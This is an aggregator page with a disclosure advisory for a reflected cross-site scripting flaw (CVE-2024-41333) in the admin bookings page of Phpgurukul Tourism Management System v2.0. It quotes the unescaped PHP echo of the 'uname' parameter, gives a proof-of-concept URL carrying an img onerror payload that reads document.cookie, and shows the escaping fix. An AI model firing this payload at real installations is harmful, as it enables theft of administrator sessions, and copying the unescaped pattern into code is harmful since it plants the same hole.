Lucene search
+L

Tourism Management System 2.0 Cross Site Scripting

🗓️ 02 Aug 2024 00:00:00Reported by Sampath Kumar KadajariType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 502 Views

Tourism Management System v2.0 Cross Site Scripting (XSS) vulnerability fi

Related
Code
`# Exploit Title: Tourism Management System v2.0 - Cross Site Scripting (XSS)  
# Date: 13 July 2024  
# Exploit Author: Sampath kumar kadajari  
# Vendor Homepage: https://phpgurukul.com/tourism-management-system-free-download/  
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=7204   
# Version: v2.0  
# CVE: CVE-2024-41333  
# Tested on: Windows, XAMPP, Apache, MySQL  
  
-------------------------------------------------------------------------------------------------------------------------------------------  
  
A reflected cross-site scripting (XSS) vulnerability in Phpgurukul Tourism Management System v2.0 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload into the uname parameter.  
  
  
  
"Vulnerable Code" – (/admin/user-bookings.php)  
  
<h2>Manage <?php echo $_GET['uname'];?>'s Bookings</h2>  
  
  
  
---> Affected Component: http://localhost/tms/admin/[email protected]&&uname=%22%3E%3Cimg%20src/onerror=prompt(document.cookie)%3E   
  
  
  
"Fix for Vulnerable Code"   
  
<h2>Manage <?php echo htmlspecialchars($_GET['uname'], ENT_QUOTES, 'UTF-8'); ?>'s Bookings</h2>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation